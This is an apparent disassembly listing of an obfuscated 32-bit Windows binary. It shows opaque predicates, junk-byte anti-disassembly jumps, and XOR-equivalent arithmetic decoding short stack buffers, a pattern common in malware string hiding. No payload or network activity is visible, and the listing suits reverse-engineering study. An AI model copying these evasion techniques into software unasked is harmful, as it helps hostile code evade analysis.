mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x94]
add dl, dl
mov cl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x90]
mov byte [ebp + eax - 0xfb], cl
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xbc]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6143
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f5c59
xor eax, eax
je 0x100f5a24
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
cmp bh, bh
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xc8], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5ab7
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f5ab7
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f5b2c
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5b2f
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f5b34
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5bbc
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f5bbc
mov dword [ebp - 0x8c], 3
jmp 0x100f5c2b
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5c2b
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x8c]
add dl, dl
mov cl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x88]
mov byte [ebp + eax - 0xfb], cl
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f5eb5
xor eax, eax
je 0x100f5c7e
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xcc], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5d0e
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f5d0e
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x80], 3
add eax, edi
jmp 0x100f5d83
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5d86
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xcc]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f5d8b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xcc], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5e3d
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f5e3d
mov dword [ebp - 0x84], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x84]
add dl, dl
mov cl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x80]
mov byte [ebp + eax - 0xfb], cl
jmp 0x100f5ec0
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5e0a
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xcc]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
jmp 0x100f5e0d
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f613d
mov eax, dword [ebp - 0x48]
add eax, 0xffffff80
mov dword [ebp - 0xc8], eax
xor eax, eax
je 0x100f5f02
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc8]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xcc], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f5f91
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f5f91
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], 3
jmp 0x100f6009
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f600c
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xcc]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
add eax, 0xffffff80
mov dword [ebp - 0xc8], eax
xor eax, eax
je 0x100f601d
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc8]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xcc], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f60a6
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f60a6
mov dword [ebp - 0x7c], 3
jmp 0x100f6115
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6115
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xcc]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x7c]
add dl, dl
mov cl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x78]
mov byte [ebp + eax - 0xfb], cl
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f63a3
xor eax, eax
je 0x100f616b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
cmp bh, bh
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xc8], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f61fe
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f61fe
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f6273
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6276
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f627b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6303
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f6303
mov dword [ebp - 0xa0], 3
jmp 0x100f6372
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6372
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0xa0]
add dl, dl
mov cl, byte [ebp + eax - 0xfb]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0xb4]
mov edx, dword [ebp - 0x5c]
mov byte [ebp + eax - 0xfb], cl
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 9
jb 0x100f5780
push dword [ebp - 0xa4]
lea eax, [ebp - 0x30c]
mov byte [ebp - 0xfc], 1
push eax
call fcn.1013db90
mov esi, eax
add esp, 8
mov dword [ebp - 0xbc], esi
movq xmm0, qword [0x101447ac]
mov cl, byte [0x101447b4]
movq qword [ebp - 0xf0], xmm0
mov byte [ebp - 0xe8], cl
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 8
mov byte [ebp - 4], 2
jae 0x100f7094
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsx eax, al
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
mov dword [ebp - 0xc8], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
nop dword [eax]
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f66ba
xor eax, eax
je 0x100f6487
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f651b
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f651b
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f658d
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6590
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f6595
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f661d
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f661d
mov dword [ebp - 0x94], 3
jmp 0x100f668c
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f668c
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x94]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x90]
mov byte [ebp + eax - 0xef], cl
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6e23
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f6939
xor eax, eax
je 0x100f6704
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6797
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f6797
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f680c
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f680f
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f6814
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f689c
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f689c
mov dword [ebp - 0x8c], 3
jmp 0x100f690b
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f690b
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x8c]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x88]
mov byte [ebp + eax - 0xef], cl
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f6b95
xor eax, eax
je 0x100f695e
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0xa8], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f69ee
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f69ee
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x80], 3
add eax, edi
